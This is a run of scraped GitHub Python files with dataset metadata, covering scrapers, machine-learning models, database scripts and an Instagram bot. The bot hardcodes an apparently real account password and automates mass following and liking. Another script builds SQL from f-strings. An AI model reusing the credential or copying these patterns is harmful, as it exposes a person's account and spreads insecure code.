W\n\n\ndef main():\n X,Y = read_data()\n #print(X.shape)\n #print(Y[0][0])\n W, b = initialize_with_zeros(X.shape[0])\n learning_rate = 0.001\n #print(W.shape)\n W = propagate(X,W,Y,learning_rate)\n print(W)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"iamchetanks/Machine-Learning","sub_path":"Perceptron Learning Algorithm/src/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21388454598","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\ndef getMetrics(marque, page):\r\n # récupération des données de la page\r\n url = 'http://www.cdiscount.com/search/10/ordinateur+'\r\n soup = BeautifulSoup(requests.get(url + marque + '.html?page=' + str(page)).text, 'html.parser')\r\n\r\n # prix après réduction\r\n prix_def = [float(e.text.replace('€', '.')) for e in soup.find_all(class_='price')]\r\n\r\n # prix avant réduction\r\n prix_depart = []\r\n for e in soup.find_all(class_='prdtPInfoTC'):\r\n if e.text == '':\r\n prix_depart.append(0)\r\n else:\r\n prix_depart.append(float(e.text.replace(',', '.')))\r\n\r\n for i in range(0, len(prix_def)):\r\n if prix_depart[i] == 0:\r\n prix_depart[i] = prix_def[i]\r\n\r\n # On somme les éléments liste à liste\r\n return [sum(prix_depart), sum(prix_def)]\r\n\r\ndef Reduc(marque, page_debut, page_fin):\r\n a = [0, 0]\r\n for i in range(page_debut, page_fin + 1):\r\n a[0] += getMetrics(marque, i)[0]\r\n a[1] += getMetrics(marque, i)[1]\r\n return 1 - a[1] / a[0]\r\n\r\nprint(Reduc('acer', 1, 3))\r\nprint(Reduc('dell', 1, 3))\r\n","repo_name":"SkatiRCI/starter-kit-datascience","sub_path":"severine-cohard/lesson3/exo_cc_lesson_3.py","file_name":"exo_cc_lesson_3.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"fr","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"857946889","text":"#!/usr/bin/python3\n\"\"\"Add State & City: California & San Francisco to hbtn_0e_100_usa.\"\"\"\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom relationship_state import Base, State\nfrom relationship_city import City\nimport sys\n\n\nif __name__ == \"__main__\":\n \"\"\"Connect to db and excute query.\"\"\"\n engine = create_engine(\n 'mysql+mysqldb://{}:{}@localhost/{}'.format(\n sys.argv[1],\n sys.argv[2],\n sys.argv[3]\n ),\n pool_pre_ping=True\n )\n\n Session = sessionmaker(bind=engine)\n session = Session()\n\n # Insert into db\n cali = State(name=\"California\")\n san_fr = City(name=\"San Francisco\")\n cali.cities.append(san_fr)\n\n session.add(cali)\n session.add(san_fr)\n session.commit()\n\n # close conection to db\n session.close()\n","repo_name":"3k3n3/alx-higher_level_programming","sub_path":"python-object_relational_mapping/100-relationship_states_cities.py","file_name":"100-relationship_states_cities.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70811183786","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n# from selenium.common.exceptions import NoSuchElementException\nimport json\nfrom datetime import datetime, timezone\nimport time\nfrom pathlib import Path\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nPLAYLIST_URL = os.environ['PLAYLIST_URL']\nSELENIUM_URL = os.environ['SELENIUM_URL']\nROOT_DIR = Path(os.environ['ROOT_DIR'])\n\ntimestamp_utc_aware = datetime.now(timezone.utc)\n\noptions = webdriver.ChromeOptions()\n\ndriver = webdriver.Remote(\n command_executor=SELENIUM_URL,\n options=options,\n)\ndriver.get(PLAYLIST_URL)\n\ntime.sleep(1)\n\nmusics = []\nlast_index = 0\n\nprev_scroll_y = -1\nwhile True:\n music_rows = driver.find_elements(by=By.CSS_SELECTOR, value='music-image-row')\n for music_row in music_rows:\n index = int(music_row.find_element(by=By.CSS_SELECTOR, value='.index').text)\n\n image_elm = music_row.find_element(by=By.CSS_SELECTOR, value='music-image')\n image_url = image_elm.get_attribute('src')\n\n music_elm = music_row.find_element(by=By.CSS_SELECTOR, value='.col1 > music-link')\n music_title = music_elm.get_attribute('title')\n music_url = music_elm.find_element(by=By.CSS_SELECTOR, value='a').get_attribute('href')\n\n artist_elm = music_row.find_element(by=By.CSS_SELECTOR, value='.col2 > music-link')\n artist = artist_elm.get_attribute('title')\n artist_url = artist_elm.find_element(by=By.CSS_SELECTOR, value='a').get_attribute('href')\n\n album_elm = music_row.find_element(by=By.CSS_SELECTOR, value='.col3 > music-link')\n album = album_elm.get_attribute('title')\n album_url = album_elm.find_element(by=By.CSS_SELECTOR, value='a').get_attribute('href')\n\n duration_elm = music_row.find_element(by=By.CSS_SELECTOR, value='.col4 > music-link')\n duration = duration_elm.get_attribute('title')\n\n if last_index < index:\n musics.append({\n 'index': index,\n 'music_title': music_title,\n 'music_url': music_url,\n 'artist': artist,\n 'artist_url': artist_url,\n 'album': album,\n 'album_url': album_url,\n 'duration': duration,\n 'image_url': image_url,\n })\n last_index = index\n\n driver.execute_script('window.scrollBy(0, 500)')\n time.sleep(1)\n\n scroll_y = driver.execute_script('return window.scrollY')\n if prev_scroll_y == scroll_y:\n break\n\n prev_scroll_y = scroll_y\n\n\ndatetime_string = timestamp_utc_aware.strftime('%Y%m%d_%H%M%S')\nwith open(ROOT_DIR / f'{datetime_string}.json', 'w', encoding='utf-8') as fp:\n json.dump({\n 'musics': musics,\n 'fetched_at': timestamp_utc_aware.isoformat(),\n }, fp, ensure_ascii=False)\n\ndriver.quit()\n","repo_name":"aoirint/amazon_music_playlist_dumper","sub_path":"amzmusicplaylistdumper/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35532821604","text":"import numpy as np\nimport tensorflow as tf\n\nfrom auxiliary_tasks import JustPixels\nfrom utils import small_convnet, flatten_two_dims, unflatten_first_dim, getsess, unet\n\n\nclass Dynamics(object):\n def __init__(self, auxiliary_task, predict_from_pixels, pred_discount, num_preds, feat_dim=None, scope='dynamics'):\n self.scope = scope\n self.auxiliary_task = auxiliary_task\n self.hidsize = self.auxiliary_task.hidsize\n self.feat_dim = feat_dim\n self.obs = self.auxiliary_task.obs\n self.extracted_features = self.auxiliary_task.extracted_features\n self.last_ob = self.auxiliary_task.last_ob\n self.ac = self.auxiliary_task.ac\n self.ac_space = self.auxiliary_task.ac_space\n self.ob_mean = self.auxiliary_task.ob_mean\n self.ob_std = self.auxiliary_task.ob_std\n\n self.buff_preds = None\n self.first_pred = None\n self.first_pred_flat = None\n self.next_pred = None\n self.next_pred_flat = None\n self.pred_discount = pred_discount\n self.num_preds = num_preds\n if self.num_preds > 7: # Currently only supports 7 step predictions, due to rollout configuration\n self.num_preds = 7\n\n if predict_from_pixels:\n self.features = self.get_features(self.obs, reuse=False)\n else:\n self.features = tf.stop_gradient(self.auxiliary_task.features)\n\n self.out_features = self.auxiliary_task.next_features\n\n with tf.variable_scope(self.scope + \"_loss\"):\n self.loss1 = self.get_loss_t1()\n self.loss2 = None\n\n def get_features(self, x, reuse):\n nl = tf.nn.leaky_relu\n x_has_timesteps = (x.get_shape().ndims == 5)\n if x_has_timesteps:\n sh = tf.shape(x)\n x = flatten_two_dims(x)\n with tf.variable_scope(self.scope + \"_features\", reuse=reuse):\n x = (tf.to_float(x) - self.ob_mean) / self.ob_std\n x = small_convnet(x, nl=nl, feat_dim=self.feat_dim, last_nl=nl, layernormalize=False)\n if x_has_timesteps:\n x = unflatten_first_dim(x, sh)\n return x\n\n def set_loss(self):\n with tf.variable_scope(self.scope + \"_loss\"):\n self.loss2 = self.get_loss_t2()\n\n def get_loss(self, ac):\n sh = tf.shape(ac)\n ac = flatten_two_dims(ac)\n\n def add_ac(x):\n return tf.concat([x, ac], axis=-1)\n\n with tf.variable_scope(self.scope):\n x = flatten_two_dims(self.features)\n x = tf.layers.dense(add_ac(x), self.hidsize, activation=tf.nn.leaky_relu, reuse=tf.AUTO_REUSE)\n\n def residual(x):\n res = tf.layers.dense(add_ac(x), self.hidsize, activation=tf.nn.leaky_relu, reuse=tf.AUTO_REUSE)\n res = tf.layers.dense(add_ac(res), self.hidsize, activation=None, reuse=tf.AUTO_REUSE)\n return x + res\n\n for _ in range(4):\n x = residual(x)\n n_out_features = self.out_features.get_shape()[-1].value\n x = tf.layers.dense(add_ac(x), n_out_features, activation=None, reuse=tf.AUTO_REUSE)\n x = unflatten_first_dim(x, sh)\n return x\n\n def get_loss_t1(self):\n ac = tf.one_hot(self.ac, self.ac_space.n, axis=2)\n self.first_pred = self.get_loss(ac)\n self.first_pred_flat = flatten_two_dims(self.first_pred)\n return tf.reduce_mean((self.first_pred - tf.stop_gradient(self.out_features)) ** 2, -1)\n\n def get_loss_t2(self):\n ac = tf.one_hot(self.auxiliary_task.policy.a_samp_alt, self.ac_space.n, axis=2)\n self.next_pred = self.get_loss(ac)\n self.next_pred_flat = flatten_two_dims(self.next_pred)\n return tf.reduce_mean((self.next_pred - tf.stop_gradient(self.out_features)) ** 2, -1)\n\n\n def calculate_loss(self, ob, last_ob, acs):\n n_chunks = 8\n n = ob.shape[0]\n chunk_size = n // n_chunks\n assert n % n_chunks == 0\n sli = lambda i: slice(i * chunk_size, (i + 1) * chunk_size)\n result = [getsess().run([self.loss1, self.first_pred, self.first_pred_flat],\n {self.obs: ob[sli(i)], self.last_ob: last_ob[sli(i)],\n self.ac: acs[sli(i)]}) for i in range(n_chunks)]\n self.buff_preds = [result[i][2] for i in range(n_chunks)]\n loss_total = [result[i][0] for i in range(n_chunks)]\n discount = self.pred_discount\n for p in range(self.num_preds - 1):\n result = [getsess().run([self.loss2, self.next_pred, self.next_pred_flat],\n {self.obs: ob[sli(i)], self.last_ob: last_ob[sli(i)], self.features: result[i-1-p][1],\n self.extracted_features: result[i-1-p][2]}) for i in range(1, n_chunks)]\n loss2 = [result[i][0] for i in range(n_chunks-1-p)]\n avg_loss2 = np.sum(loss2, axis=0)/len(loss2)\n for q in range(p+1):\n loss2.append(avg_loss2)\n loss_total = [loss_total[i] + (discount * loss2[i]) for i in range(n_chunks)]\n discount = discount * self.pred_discount\n return np.concatenate(loss_total, 0)\n\n\nclass UNet(Dynamics):\n def __init__(self, auxiliary_task, predict_from_pixels, loss_scaler_t1, pred_discount, feat_dim=None, scope='pixel_dynamics'):\n assert isinstance(auxiliary_task, JustPixels)\n assert not predict_from_pixels, \"predict from pixels must be False, it's set up to predict from features that are normalized pixels.\"\n super(UNet, self).__init__(auxiliary_task=auxiliary_task,\n predict_from_pixels=predict_from_pixels,\n loss_scaler_t1=loss_scaler_t1,\n pred_discount=pred_discount,\n feat_dim=feat_dim,\n scope=scope)\n\n def get_features(self, x, reuse):\n raise NotImplementedError\n\n def get_loss(self):\n nl = tf.nn.leaky_relu\n ac = tf.one_hot(self.ac, self.ac_space.n, axis=2)\n sh = tf.shape(ac)\n ac = flatten_two_dims(ac)\n ac_four_dim = tf.expand_dims(tf.expand_dims(ac, 1), 1)\n\n def add_ac(x):\n if x.get_shape().ndims == 2:\n return tf.concat([x, ac], axis=-1)\n elif x.get_shape().ndims == 4:\n sh = tf.shape(x)\n return tf.concat(\n [x, ac_four_dim + tf.zeros([sh[0], sh[1], sh[2], ac_four_dim.get_shape()[3].value], tf.float32)],\n axis=-1)\n\n with tf.variable_scope(self.scope):\n x = flatten_two_dims(self.features)\n x = unet(x, nl=nl, feat_dim=self.feat_dim, cond=add_ac)\n x = unflatten_first_dim(x, sh)\n self.prediction_pixels = x * self.ob_std + self.ob_mean\n return tf.reduce_mean((x - tf.stop_gradient(self.out_features)) ** 2, [2, 3, 4])\n","repo_name":"denncli/multi-step-curiosity-driven-learning","sub_path":"dynamics.py","file_name":"dynamics.py","file_ext":"py","file_size_in_byte":6950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17562367906","text":"\n# coding: utf-8\n\n# In[1]:\n\n\n#Libraires used:\nimport pandas as pd\nimport numpy as np\ndata = pd.read_csv(\"data.csv\",index_col = 0)\ndata.head(10)\n\n\n# # SURPRISE LIBRARY\n\nfrom surprise import Reader, Dataset, trainset\nfrom surprise.prediction_algorithms import KNNWithMeans\nfrom surprise import Reader, Dataset, trainset\n\n#Build trainset\ndata['User']=data.index\ntrainset = pd.melt(data,id_vars='User',value_vars=data.columns.drop('User').tolist()).dropna()\ndata = data.drop('User',axis=1)\ntrainset.columns = ['User','Item','Value']\nreader = Reader(rating_scale=(-1000,1000)) #Change to max and min of non-NA data\nTRAIN = Dataset.load_from_df(trainset[['User','Item','Value']], reader=reader)\ntrainset = TRAIN.build_full_trainset()\n\n\nsim_options = sim_options={'name':'pearson','min_support':2,'user_based':True}\nalgo = KNNWithMeans(min_k=2,k=10,sim_options=sim_options)\nalgo.fit(trainset)\n\n#Pearson corr of U1 \nalgo.sim[0]\n\n\n# # Manual Computation\n\nfrom scipy.stats.stats import pearsonr\n\n#We select Person similarity\ndef pearson_sim(v1, v2, min_support=None):\n #Define common ratings\n indexList = (v1[(~pd.isnull(v1)) & (~pd.isnull(v2))]).index \n if len(indexList) == 0 or (minSimSupport is not None and len(indexList) < min_support):\n sim = 0\n else:\n sim, pvalue = pearsonr(v1[indexList], v2[indexList])\n return sim, len(indexList)\n\n#Matrix of pearson similarities\nsim_df = pd.DataFrame(np.zeros(shape=(10,10)),index=data.index,columns = data.index)\n\nmin_support = 2\n\nfor i in range(10):\n for j in range(10):\n if i == j:\n sim_df.iloc[i,j] = 1\n else:\n sim_per, count_per = pearson_sim(data.iloc[i,],data.iloc[j,],2)\n if count_per < min_support:\n sim_df.iloc[i,j] = 0\n else:\n sim_df.iloc[i,j] = sim_per\n \n \nprint(sim_df.iloc[:,0])\n\n","repo_name":"TamTSE2301/Recommendation-system","sub_path":"Surprise Library Check - Similarity matrix.py","file_name":"Surprise Library Check - Similarity matrix.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9519701068","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\n\n#username=input('Enter your phone number,username or email:')\n#password=input('Enter your password:')\ndriver=webdriver.Firefox()\ndriver.get('https://www.instagram.com/')\n\n\ntime.sleep(5)\ndef login():\n \n driver.find_element_by_name('username').send_keys('rushilmakkar')\n driver.find_element_by_name('password').send_keys('rAJ@150507'+Keys.RETURN)\n time.sleep(6)\n driver.find_element_by_xpath(\"//button[@class='sqdOP yWX7d y3zKF '][@type='button']\").click()\n driver.find_element_by_xpath(\"//button[@class='aOOlW HoLwm ']\").click()\ndef get_pics():\n driver.get('https://www.instagram.com/explore/tags/'+'python'+'/')\n time.sleep(3)\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\n while True:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(1)\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n break\n last_height = new_height\n links=driver.find_elements_by_tag_name('a')\n pics=[link.get_attribute('href') for link in links]\n pics0=[pic for pic in pics if 'explore' not in pic]\n print(pics0)\n for pic in pics0:\n driver.get(pic)\n time.sleep(2)\n driver.find_element_by_xpath(\"//button[@class='wpO6b '][@type='button']\").click()\n \ndef follow_people():\n driver.get('https://www.instagram.com/explore/')\n time.sleep(3)\n driver.find_element_by_xpath(\"//a[@class='HUW1v hUQXy']\").click()\n time.sleep(2)\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\n while True:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(1)\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n break\n last_height = new_height\n people=driver.find_elements_by_xpath(\"//button[@class='sqdOP L3NKy y3zKF '][@type='button']\")\n for person in people:\n person.click()\n \n\n\nlogin()\nfollow_people()\nget_pics()\n","repo_name":"rajrushilmakkar/InstaFollowerBot","sub_path":"instabot.py","file_name":"instabot.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23023651707","text":"import requests as req\nfrom bs4 import BeautifulSoup as bs\n\n\ndef get_state_list() -> {}:\n main_page = req.get(\"http://www.arrl.org/ve-session-counts\")\n soup = bs(main_page.text, \"html.parser\")\n\n state_list = soup.find(\"select\", attrs={\"name\": \"state\"}).find_all(\"option\")\n\n state_dictionary = {}\n\n for state_item in state_list:\n if state_item.text != \"- Select -\":\n state_dictionary[state_item[\"value\"]] = state_item.string\n\n return state_dictionary\n","repo_name":"hsaito/ARRL-VECountScanner","sub_path":"state_list.py","file_name":"state_list.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8515271203","text":"import requests, pymysql, csv, pycountry, datetime\nimport plotly.express as px, pandas as pd\n\nclass VolumeChoroplethMapSetter:\n\t\"\"\"Contains all the methods needed to plot a volume choropleth map.\"\"\"\n\n\tdef __init__(self):\n\t\t\"\"\"Define variables to be used.\"\"\"\n\t\tself.exchangeName = []\n\t\tself.exchangeCountry = []\n\t\tself.exchangeVolume = []\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tself.knownCountryExchanges = []\n\t\tself.uniqueCountries = []\n\t\tself.uniqueVolumes = []\n\t\tself.iso_codes = []\n\t\tself.countryAndVolume = []\t\t\n\t\tself.dbServerName = \"127.0.0.1\"\n\t\tself.dbUser = \"root\"\n\t\tself.dbPassword = \"****\"\t# Insert mySQL password here.\n\t\tself.dbName = \"exchange_data\"\t# Create this database on mySQL.\n\t\tself.charSet = \"utf8mb4\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\tdef _apiRetrieval(self):\n\t\t\"\"\"Retrieves and appends info from over 300 exchanges\n\t\t using the coingecko API.\"\"\"\n\t\turlPageOne = \"https://api.coingecko.com/api/v3/exchanges?per_page=250\"\n\t\turlPageTwo =\t( \n\t\t\"https://api.coingecko.com/api/v3/exchanges?per_page=250&page=2\")\n\t\turlPageOneRequest = requests.get(urlPageOne)\n\t\turlPageOneResponseList = urlPageOneRequest.json()\n\t\turlPageTwoRequest = requests.get(urlPageTwo)\n\t\turlPageTwoResponseList = urlPageTwoRequest.json()\n\n\t\tfor i in range(0, len(urlPageOneResponseList)):\n\t\t\tself.exchangeName.append(urlPageOneResponseList[i]['name'])\n\t\t\tself.exchangeCountry.append(urlPageOneResponseList[i]\n\t\t\t\t\t\t\t\t\t\t['country'])\n\t\t\tself.exchangeVolume.append(round(urlPageOneResponseList[i]\n\t\t\t\t\t\t\t\t\t\t['trade_volume_24h_btc']))\n\n\t\tfor i in range(0, len(urlPageTwoResponseList)):\n\t\t\tself.exchangeName.append(urlPageTwoResponseList[i]['name'])\n\t\t\tself.exchangeCountry.append(urlPageTwoResponseList[i]\n\t\t\t\t\t\t\t\t\t\t['country'])\n\t\t\tself.exchangeVolume.append(round(urlPageTwoResponseList[i]\n\t\t\t\t\t\t\t\t\t\t['trade_volume_24h_btc']))\n\n\tdef _arrangeExchanges(self):\n\t\t\"\"\"Rearranges exchange lists according to descending order of volume\n\t\t\tand discards exchanges with unknown origin countries.\"\"\"\n\t\tself._apiRetrieval()\n\n\t\tzipped = sorted(zip(self.exchangeVolume, self.exchangeName, \n\t\t\t\t\t\t\tself.exchangeCountry))\n\t\tzipped.reverse()\n\t\tfor i in range(0, len(zipped)):\n\t\t\tif zipped[i][2] != None:\n\t\t\t\tself.knownCountryExchanges.append(zipped[i])\n\n\t\tself.exchangeVolume, self.exchangeName, self.exchangeCountry = zip(*\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.knownCountryExchanges)\n\n\tdef createSQLExchangeTable(self):\n\t\t\"\"\"Creates an SQL database table that will hold each exchange with \n\t\tits volume and country as well as the current timestamp.\"\"\"\n\t\tconnectionObject = pymysql.connect(host=self.dbServerName, \n\t\t\t\t\t\t\t\t\t\t\tuser=self.dbUser,\n\t\t\t\t\t\t\t\t\t\t\tpassword = self.dbPassword,\n\t\t\t\t\t\t\t\t\t\t\tdb=self.dbName,\n\t\t\t\t\t\t\t\t\t\t\tcharset=self.charSet)\n\t\tcursorObject = connectionObject.cursor()\n\n\t\tcreateStatement = \"\"\"CREATE TABLE exchanges\n\t\t\t\t\t\t\t(exchange_id SMALLINT UNSIGNED AUTO_INCREMENT,\n\t\t\t\t\t\t\texchange_name VARCHAR(100),\n\t\t\t\t\t\t\texchange_country VARCHAR(100),\n\t\t\t\t\t\t\texchange_volume MEDIUMINT UNSIGNED,\n\t\t\t\t\t\t\ttime_fetched TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n\t\t\t\t\t\t\tCONSTRAINT pk_exchanges PRIMARY KEY (exchange_id)\n\t\t\t\t\t\t\t)\"\"\"\n\n\t\tcursorObject.execute(createStatement)\n\n\t\tconnectionObject.commit()\n\t\tconnectionObject.close()\n\n\tdef insertSQLExchangeTable(self):\n\t\t\"\"\"Insert excchange data into the SQL database exchange table.\"\"\"\n\t\tself._arrangeExchanges()\n\n\t\tconnectionObject = pymysql.connect(host=self.dbServerName, \n\t\t\t\t\t\t\t\t\t\t\tuser=self.dbUser,\n\t\t\t\t\t\t\t\t\t\t\tpassword = self.dbPassword,\n\t\t\t\t\t\t\t\t\t\t\tdb=self.dbName,\n\t\t\t\t\t\t\t\t\t\t\tcharset=self.charSet)\n\t\tcursorObject = connectionObject.cursor()\n\n\t\tfor i in range (0, len(self.exchangeName)):\n\t\t\tinsertStatement = f\"\"\"INSERT INTO exchanges\n\t\t\t\t\t\t\t(exchange_id, exchange_name, exchange_country,\n\t\t\t\t\t\t\texchange_volume, time_fetched)\n\t\t\t\t\t\t\tVALUES (null, \"{self.exchangeName[i]}\",\n\t\t\t\t\t\t\t\"{self.exchangeCountry[i]}\",\n\t\t\t\t\t\t\t{self.exchangeVolume[i]}, now())\"\"\"\n\n\t\t\tcursorObject.execute(insertStatement)\n\n\t\tconnectionObject.commit()\n\t\tconnectionObject.close()\n\n\tdef _setCountryVolumes(self):\n\t\t\"\"\"Finds the total volume of each country using the exchange lists.\"\"\"\n\t\tself._arrangeExchanges()\n\t\t# Referenced by the iterator. Used to determine the index of the\n\t\t# duplicate country.\n\t\titeratedCountries = []\n\t\tfor country in self.exchangeCountry:\n\t\t\telemIndex = self.exchangeCountry.index(country)\n\t\t\titeratedCountries.append(self.exchangeCountry[elemIndex])\n\n\t\t\tif country in self.uniqueCountries:\n\t\t\t\tuniqueIndex = self.uniqueCountries.index(country)\n\t\t\t\t# Finds the index value of the current iteration of the country\n\t\t\t\t# string.\n\t\t\t\tcountryIndexFinder = iteratedCountries.count(country)\n\t\t\t\tcountryIndexPosition = [i for i, n in \n\t\t\t\t\t\t\t\t\t\tenumerate(self.exchangeCountry) if \n\t\t\t\t\t\t\t\t\t\tn == country][countryIndexFinder-1]\n\t\t\t\t# The volume value of the duplicate country is added to the\n\t\t\t\t# unique country's total volume.\n\t\t\t\tself.uniqueVolumes[uniqueIndex] = self.uniqueVolumes[\n\t\t\t\t\t\t\t\t\t\t\t\t\tuniqueIndex] + \\\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.exchangeVolume[\n\t\t\t\t\t\t\t\t\t\t\t\t\tcountryIndexPosition]\n\n\t\t\telif country not in self.uniqueCountries:\n\t\t\t\tself.uniqueCountries.append(self.exchangeCountry[elemIndex])\n\t\t\t\tself.uniqueVolumes.append(self.exchangeVolume[elemIndex])\n\n\t\t# Countries and volumes are sorted in descending order of volume.\t\t\n\t\tself.uniqueCountries = [x for _,x in sorted(zip(self.uniqueVolumes,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.uniqueCountries),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\treverse=True)]\n\t\tself.uniqueVolumes.sort(reverse=True) \n\n\tdef createSQLCountryTable(self):\n\t\t\"\"\"Creates an SQL database table that will hold each country\n\t\tand its total volume.\"\"\"\n\t\tconnectionObject = pymysql.connect(host=self.dbServerName, \n\t\t\t\t\t\t\t\t\t\t\tuser=self.dbUser,\n\t\t\t\t\t\t\t\t\t\t\tpassword = self.dbPassword,\n\t\t\t\t\t\t\t\t\t\t\tdb=self.dbName,\n\t\t\t\t\t\t\t\t\t\t\tcharset=self.charSet)\n\t\tcursorObject = connectionObject.cursor()\n\n\t\tcreateStatement = \"\"\"CREATE TABLE exchange_volume_by_country \t\t\n\t\t\t\t\t\t(country_id SMALLINT UNSIGNED AUTO_INCREMENT,\n\t\t\t\t\t\tcountry_name VARCHAR(100),\n\t\t\t\t\t\tcountry_volume MEDIUMINT UNSIGNED,\n\t\t\t\t\t\ttime_fetched TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n\t\t\t\t\t\tCONSTRAINT pk_exchange_volume_by_country\n\t\t\t\t\t\tPRIMARY KEY (country_id)\n\t\t\t\t\t\t)\"\"\"\n\n\t\tcursorObject.execute(createStatement)\n\n\t\tconnectionObject.commit()\n\t\tconnectionObject.close()\n\n\tdef insertSQLCountryTable(self):\n\t\t\"\"\"Inserts the country/volume data into the SQL database table\"\"\"\n\t\tself._setCountryVolumes()\n\n\t\tconnectionObject = pymysql.connect(host=self.dbServerName, \n\t\t\t\t\t\t\t\t\t\t\tuser=self.dbUser,\n\t\t\t\t\t\t\t\t\t\t\tpassword = self.dbPassword,\n\t\t\t\t\t\t\t\t\t\t\tdb=self.dbName,\n\t\t\t\t\t\t\t\t\t\t\tcharset=self.charSet)\n\t\tcursorObject = connectionObject.cursor()\n\n\t\tfor i in range (0, len(self.uniqueCountries)):\n\t\t\tinsertStatement = f\"\"\"INSERT INTO exchange_volume_by_country\n\t\t\t\t\t\t\t(country_id, country_name, country_volume,\n\t\t\t\t\t\t\ttime_fetched)\n\t\t\t\t\t\t\tVALUES (null, \"{self.uniqueCountries[i]}\",\n\t\t\t\t\t\t\t\"{self.uniqueVolumes[i]}\", now())\"\"\"\n\n\t\t\tcursorObject.execute(insertStatement)\n\n\t\tconnectionObject.commit()\n\t\tconnectionObject.close()\n\n\tdef _getISOCode(self):\n\t\t\"\"\"Convert country's English short name to its ISO alpha-3 code\n\t\twhich is necessary in order to plot the plotly choropleth world map.\"\"\"\n\t\tself._setCountryVolumes()\n\t\tcountry_iso = {}\n\t\tfor country in pycountry.countries:\n\t\t\tcountry_iso[country.name] = country.alpha_3\n\n\t\tself.iso_codes = [country_iso.get(country, 'Unknown code') for country\n\t\t in self.uniqueCountries]\n\t\t# Some countries' common names (which are used by the coingecko API)\n\t\t# are different from their English short name values, so they cannot be\n\t\t# converted to ISO code. In this case, the ISO codes are hard coded in,\n\t\t# although ideally a module would exist that allows for common country\n\t\t# names to be directly converted to ISO code (the pycountry module\n\t\t# functionality for this is not very reliable.) \n\t\tfor i in range(0, len(self.iso_codes)):\n\t\t\tif self.iso_codes[i] == 'Unknown code':\n\t\t\t\tindexOfUnknownCountry = self.iso_codes.index(self.iso_codes[i])\n\t\t\t\tif self.uniqueCountries[indexOfUnknownCountry] == (\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"South Korea\"):\n\t\t\t\t\tself.iso_codes[i] = 'KOR'\n\t\t\t\telif self.uniqueCountries[indexOfUnknownCountry] == (\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"British Virgin Islands\"):\n\t\t\t\t\tself.iso_codes[i] = 'VGB'\n\t\t\t\telif self.uniqueCountries[indexOfUnknownCountry] == \"Vietnam\":\n\t\t\t\t\tself.iso_codes[i] = 'VNM'\n\t\t\t\telif self.uniqueCountries[indexOfUnknownCountry] == \"Russia\":\n\t\t\t\t\tself.iso_codes[i] = 'RUS'\n\t\t\t\telif self.uniqueCountries[indexOfUnknownCountry] == \"Taiwan\":\n\t\t\t\t\tself.iso_codes[i] = 'TWN'\n\t\t\n\tdef _prepareCountryVolumeCsv(self):\n\t\t\"\"\"The country names, volumes, and ISO codes are stored within nested\n\t\tlists which themselves are stored inside a single list. This list will\n\t\tlater be used to write a csv file of these elements.\"\"\"\n\t\tself._getISOCode()\n\n\t\tfor i in range(0, len(self.uniqueCountries)):\n\t\t\tcountryList = []\n\t\t\tcountryList.append(self.uniqueCountries[i])\n\t\t\tcountryList.append(self.uniqueVolumes[i])\n\t\t\tcountryList.append(self.iso_codes[i])\n\t\t\tself.countryAndVolume.append(countryList)\n\t\t\n\tdef exchangeVolumeCsvWriter(self, filename):\n\t\t\"\"\"Writes the individual exchange names, volumes, and countries to a \n\t\tcsv file. Not needed for choropleth map. Optional to call.\"\"\"\n\t\tself._arrangeExchanges()\n\t\theader = [\"volume\", \"name\", \"country\"]\n\t\twith open(filename, \"w\", newline=\"\") as f:\n\t\t\twriter = csv.writer(f)\n\t\t\twriter.writerow(header)\n\t\t\twriter.writerows(self.knownCountryExchanges)\n\n\tdef _countryVolumeCsvWriter(self, filename):\n\t\t\"\"\"Writes the individual country names, volumes, and ISO codes to a\n\t\tcsv file which will then be used to plot the plotly choropleth world\n\t\tmap.\"\"\"\n\t\tself._prepareCountryVolumeCsv()\n\t\theader = [\"country\", \"volume\", \"iso_alpha\"]\n\t\twith open(filename, \"w\", newline=\"\") as f:\n\t\t\twriter = csv.writer(f)\n\t\t\twriter.writerow(header)\n\t\t\twriter.writerows(self.countryAndVolume)\n\n\tdef choroplethMapPlotter(self, filename):\n\t\t\"\"\"Plots the choropleth world map according to country 